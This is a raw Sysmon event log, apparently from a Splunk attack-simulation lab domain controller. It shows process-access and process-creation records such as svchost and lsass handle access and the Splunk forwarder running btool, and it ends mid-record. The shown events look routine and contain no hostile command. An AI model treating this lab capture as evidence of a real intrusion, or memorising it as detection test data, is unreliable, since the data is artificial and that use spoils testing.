09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004759Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004758Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-294D-5F80-FD00-000000007F01}4772C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004757Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-294D-5F80-FC00-000000007F01}30683228C:\Windows\system32\cmd.exe{A5F018FF-294D-5F80-FD00-000000007F01}4772C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004756Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.907{A5F018FF-294D-5F80-FD00-000000007F01}4772C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list httpServer --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294D-5F80-FC00-000000007F01}3068C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list httpServer --no-log 10341000x80000000000000004755Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294D-5F80-FC00-000000007F01}3068C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004754Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004753Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004752Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004751Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004750Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004749Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004748Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004747Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004746Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004745Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-294D-5F80-FC00-000000007F01}3068C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004744Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-294B-5F80-EF00-000000007F01}50964708C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE{A5F018FF-294D-5F80-FC00-000000007F01}3068C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+6665|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+17249|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+137ff|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+12176|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+19082|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+d94e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004743Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.902{A5F018FF-294D-5F80-FC00-000000007F01}3068C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list httpServer --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2528 10341000x80000000000000004742Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.884{A5F018FF-294B-5F80-EF00-000000007F01}50964708C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+457e6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+460cb|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+453d6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+d925|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004741Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.727{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-294D-5F80-FB00-000000007F01}1544C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004740Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.727{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-294D-5F80-FB00-000000007F01}1544C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004739Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.665{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294D-5F80-FB00-000000007F01}1544C:\Windows\system32\sppsvc.exe0x103800C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004738Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.665{A5F018FF-28BD-5F80-0A00-000000007F01}852912C:\Windows\system32\services.exe{A5F018FF-294D-5F80-FB00-000000007F01}1544C:\Windows\system32\sppsvc.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+316d|C:\Windows\SYSTEM32\ntdll.dll+7f70d|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+29c02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004737Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.602{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004736Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.602{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004735Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.602{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004734Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.509{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-294D-5F80-FA00-000000007F01}2100C:\Windows\System32\msdtc.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004733Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.509{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-294D-5F80-FA00-000000007F01}2100C:\Windows\System32\msdtc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C